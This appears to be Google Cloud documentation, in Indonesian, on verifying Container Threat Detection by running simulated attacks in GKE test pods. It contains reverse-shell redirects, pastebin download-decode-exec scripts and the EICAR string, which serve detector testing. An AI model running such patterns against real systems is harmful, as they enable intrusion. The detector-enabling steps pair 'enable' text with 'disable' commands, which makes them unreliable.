Halaman ini menjelaskan cara memverifikasi bahwa Container Threat Detection berfungsi dengan sengaja memicu detector dan memeriksa temuan. Container Threat Detection adalah layanan bawaan dari paket Premium dan Enterprise Security Command Center. Untuk melihat temuan Deteksi Ancaman Container, layanan ini harus diaktifkan di setelan Layanan Security Command Center.
Sebelum memulai
Untuk mendeteksi potensi ancaman terhadap penampung, Anda harus memastikan bahwa cluster Anda menggunakan Google Kubernetes Engine (GKE) versi yang didukung. Untuk mengetahui informasi selengkapnya, lihat menggunakan versi GKE yang didukung.
Mengaktifkan detektor
Detektor Added Binary Executed
dan Added Library Loaded
dinonaktifkan secara
default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya secara eksplisit:
Periksa status detektor:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
Aktifkan detektor
Added Binary Executed
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
Aktifkan detektor
Added Library Loaded
:gcloud alpha scc settings services modules disable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
Menetapkan variabel lingkungan
Untuk menguji detektor, Anda menggunakan konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell untuk mempermudah menjalankan perintah. Variabel berikut digunakan untuk menguji semua pendeteksi Container Threat Detection.
Buka Konsol Google Cloud.
Pilih project yang berisi penampung yang ingin Anda gunakan untuk pengujian.
Klik Aktifkan Cloud Shell.
Di Cloud Shell, tetapkan variabel lingkungan.
Zona tempat cluster Anda berada:
export ZONE=CLUSTER_ZONE
Project tempat penampung Anda berada:
export PROJECT=PROJECT_ID
Nama cluster Anda:
export CLUSTER_NAME=CLUSTER_NAME
Variabel ditetapkan. Bagian berikut menyertakan petunjuk untuk menguji pendeteksi Pendeteksian Ancaman Penampung.
Menambahkan Binary Executed
Untuk memicu temuan Binary Ditambahkan yang Dieksekusi, letakkan biner di penampung dan
eksekusi. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls
ke lokasi lain, lalu mengeksekusinya. Eksekusi biner tidak terduga
karena salinan biner bukan bagian dari image container asli, meskipun
image tersebut ada di Ubuntu 24.04, dan container dimaksudkan untuk tidak dapat diubah.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner dan jalankan:
Node x86:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Node ARM:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Prosedur pengujian ini akan membuat temuan Binary Ditambahkan yang dieksekusi yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Deteksi Ancaman Penampung
akan memfilter temuan Eksekusi Biner yang Ditambahkan untuk sementara. Untuk melihat semua temuan Binary
yang Dijalankan yang Ditambahkan saat penampung sedang disiapkan, awali nama penampung
atau nama pod dengan ktd-test
, seperti dalam contoh.
Library yang Ditambahkan Dimuat
Untuk memicu temuan Library Ditambahkan Dimuat, letakkan library di penampung, lalu
muat. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin
/lib/x86_64-linux-gnu/libc.so.6
ke lokasi lain, lalu memuat menggunakan
ld
. Library yang dimuat tidak terduga karena salinan library bukan
bagian dari image penampung asli, meskipun image tersebut ada di Ubuntu 24.04, dan
penampung dimaksudkan untuk tidak dapat diubah.
Gunakan Cloud Shell untuk mengakses rencana kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan library dan gunakan
ld
untuk memuatnya:Node x86:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Node ARM:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Prosedur pengujian ini akan membuat temuan Library Ditambahkan yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
akan memfilter temuan Library yang Dimuat yang Ditambahkan untuk sementara. Untuk melihat semua temuan Library yang Ditambahkan
dan Dimuat saat penampung sedang disiapkan, awali nama penampung
atau nama pod dengan ktd-test
, seperti dalam contoh.
Eksekusi: Program Biner Berbahaya Tambahan Dieksekusi
Untuk memicu temuan Eksekusi: Menambahkan Binary Berbahaya yang Dieksekusi, taruh biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, membuat file berbahaya simulasi, lalu mengeksekusinya. Eksekusi biner tidak diharapkan karena simulasi biner berbahaya bukan bagian dari image penampung asli, dan biner adalah file pengujian EICAR, file yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner EICAR dan jalankan:
Node x86:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Node ARM:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Prosedur pengujian ini akan membuat temuan Execution: Added Malicious Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
akan memfilter sementara temuan Eksekusi: Menambahkan Binary Berbahaya yang Dieksekusi. Untuk melihat
semua temuan Eksekusi: Menambahkan Binary Berbahaya yang Dieksekusi saat penampung
disiapkan, awali nama penampung atau nama pod dengan ktd-test
, seperti dalam
contoh.
Eksekusi: Container Escape
Untuk memicu temuan Eksekusi: Container Escape, tempatkan biner di
penampung dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru,
menyalin /bin/ls
ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan
(botb-linux-amd64
), dan mengeksekusinya dengan argumen tambahan. Tindakan ini
dianggap mencurigakan karena eksekusi ini menyimulasikan perilaku yang konsisten dengan
upaya keluar dari penampung.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner alat Eksploitasi Penampung seperti
botb-linux-amd64
dan jalankan:Node x86:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
Node ARM:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Prosedur pengujian ini akan membuat temuan Execution: Container Escape yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
mungkin memfilter temuan Execution: Container Escape untuk sementara. Untuk melihat semua
temuan Eksekusi: Container Escape saat container sedang disiapkan, awali
nama container atau nama pod dengan ktd-test
, seperti dalam contoh.
Eksekusi: Eksekusi Alat Serangan Kubernetes
Untuk memicu temuan Eksekusi: Eksekusi Alat Serangan Kubernetes, tempatkan
biner di penampung dan jalankan. Contoh ini men-deploy image Ubuntu
24.04 terbaru, menyalin /bin/ls
ke lokasi lain, mengganti namanya menjadi alat
yang mencurigakan (amicontained
), dan mengeksekusinya. Tindakan ini dianggap mencurigakan
karena menyimulasikan perilaku yang konsisten dengan potensi upaya eksekusi
alat serangan Kubernetes.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner alat Serangan Kubernetes seperti
amicontained
dan jalankan:Node x86:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Node ARM:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Prosedur pengujian ini akan membuat temuan Execution: Kubernetes Attack Tool Execution yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
mungkin untuk sementara memfilter temuan Execution: Kubernetes Attack Tool Execution.
Untuk melihat semua temuan Execution: Kubernetes Attack Tool Execution saat
penampung sedang disiapkan, beri awalan nama penampung atau nama pod dengan
ktd-test
, seperti dalam contoh.
Eksekusi: Eksekusi Alat Pengintaian Lokal
Untuk memicu temuan Eksekusi: Eksekusi Alat Pengintaian Lokal, tempatkan
biner di penampung dan jalankan. Contoh ini men-deploy image Ubuntu
24.04 terbaru, menyalin /bin/ls
ke lokasi lain, mengganti namanya menjadi alat
yang mencurigakan (linenum.sh
), dan mengeksekusinya. Tindakan ini dianggap mencurigakan
karena mengeksekusi biner yang diganti namanya menyimulasikan perilaku yang konsisten dengan
upaya pengintaian lokal.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner alat Local Reconnaissance seperti
linenum.sh
dan jalankan:Node x86:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Node ARM:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Prosedur pengujian ini akan membuat temuan Eksekusi: Eksekusi Alat Pengintaian Lokal yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Penampung. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
mungkin untuk sementara memfilter temuan Eksekusi: Eksekusi Alat Pengintaian Lokal. Untuk melihat semua temuan Eksekusi: Eksekusi Alat Pengintaian Lokal
saat penampung sedang disiapkan, beri awalan nama penampung atau nama pod dengan
ktd-test
, seperti dalam contoh.
Execution: Malicious Python executed
Untuk memicu temuan Execution: Malicious Python executed
, Anda dapat menjalankan Python
dalam prosedur berikut di penampung.
Prosedur ini men-deploy image Python terbaru, menyalin kode Python yang terlihat berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, kode Python harus tampak berbahaya bagi detektor.
Gunakan Cloud Shell untuk mengakses rencana kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Jalankan skrip berikut dalam penampung baru.
Kode Python ini berasal dari honeypot. Namun, file tersebut dimodifikasi agar tidak mengeksekusi biner berbahaya. Menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk tidak ada dan upaya untuk mengikuti URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah yang memicu deteksi.
Node x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Node ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Prosedur pengujian ini membuat temuan Execution: Malicious Python executed
yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda mengonfigurasi logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi
Untuk memicu temuan Eksekusi: Biner Berbahaya yang Dimodifikasi Dijalankan, ubah
biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy
image Ubuntu 24.04 terbaru, mengubah /bin/ls
menjadi file berbahaya pengujian EICAR, lalu mengeksekusinya. Eksekusi biner tidak
diharapkan karena /bin/ls
yang dibuat diubah selama runtime penampung sebagai
biner berbahaya pengujian EICAR, dan biner EICAR adalah file berbahaya yang diketahui
sesuai dengan intelijen ancaman.
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Letakkan biner EICAR dan jalankan:
Node x86:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Node ARM:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Prosedur pengujian ini akan membuat temuan Execution: Modified Malicious Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection
akan memfilter temuan Eksekusi: Biner Berbahaya yang Diubah dan Dieksekusi untuk sementara. Untuk melihat
semua temuan Eksekusi: Biner Berbahaya yang Diubah dan Dieksekusi saat penampung
disiapkan, awali nama penampung atau nama pod dengan ktd-test
, seperti dalam
contoh.
Skrip Berbahaya Dieksekusi
Untuk memicu temuan Skrip Berbahaya Dieksekusi, Anda dapat mengeksekusi skrip dalam prosedur berikut di penampung.
Prosedur ini men-deploy image Ubuntu 24.04 terbaru, menyalin skrip yang terlihat berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, skrip harus tampak berbahaya bagi detektor.
Gunakan Cloud Shell untuk mengakses rencana kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Jalankan skrip berikut dalam penampung baru.
Skrip shell Bourne inline ini berasal dari honeypot. Namun, skrip tersebut telah dimodifikasi sehingga tidak mengeksekusi biner berbahaya, sehingga menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk mungkin telah dihapus dan upaya untuk mengikuti URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah yang memicu deteksi.
Node x86:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Node ARM:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Prosedur pengujian ini membuat temuan Skrip Berbahaya Dijalankan yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.
URL Berbahaya Ditemukan
Untuk memicu temuan URL Berbahaya yang Diamati, jalankan biner dan berikan URL berbahaya sebagai argumen.
Contoh berikut men-deploy image Ubuntu 24.04
dan menjalankan /bin/curl
untuk mengakses contoh URL malware dari
layanan Safe Browsing.
Gunakan Cloud Shell untuk mengakses rencana kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Jalankan
curl
dan berikan URL berbahaya sebagai argumen:Node x86:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Node ARM:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Prosedur pengujian ini memicu temuan URL Berbahaya yang Diamati yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Penampung, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.
Reverse Shell
Untuk memicu temuan Reverse Shell, mulai biner dengan pengalihan stdin
ke
soket yang terhubung ke TCP. Contoh ini menyalin /bin/echo
ke /tmp/sh
,
lalu memulai /tmp/sh
dengan pengalihan ke DNS publik Google
8.8.8.8
di port DNS. Tidak ada yang dicetak saat Anda menjalankan contoh ini. Untuk
mencegah injeksi kode eksternal melalui serangan man-in-the-middle (MITM),
contoh ini tidak menggunakan biner /bin/sh
.
Gunakan Cloud Shell untuk mengakses rencana kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Mulai biner dengan pengalihan
/bin/echo
ke DNS publik Google:Node x86:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Node ARM:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Prosedur pengujian ini membuat temuan Reverse Shell yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.
Shell Turunan yang Tidak Terduga
Untuk menguji detektor Unexpected Child Shell
, Anda dapat membuat hierarki proses yang menyertakan proses shell turunan.
Contoh berikut membuat hierarki proses consul->dash
, yang dapat dideteksi oleh detektor Unexpected Child Shell
. Pengujian ini aman karena hanya menggunakan biner bawaan. Contoh ini melakukan hal berikut:
- Membuat salinan proses
sh
dan menamainyaconsul
. - Menyalin proses
echo
dan menamainyadash
. - Memanggil proses
dash
yang disalin dalam prosesconsul
yang disalin.
Untuk memicu temuan Unexpected Child Shell
, lakukan hal berikut:
Gunakan Cloud Shell untuk mengakses panel kontrol cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Gunakan proses
consul
tiruan untuk memanggil shell tiruan:Node x86:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Node ARM:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Prosedur pengujian ini membuat temuan Unexpected Child Shell
yang dapat Anda
lihat di Security Command Center. Jika Logging dikonfigurasi untuk Container Threat Detection dan Anda telah mengaktifkan Security Command Center Premium atau Enterprise di level organisasi, Anda juga dapat melihat penemuan di Cloud Logging.
Langkah selanjutnya
- Pelajari cara menggunakan Container Threat Detection.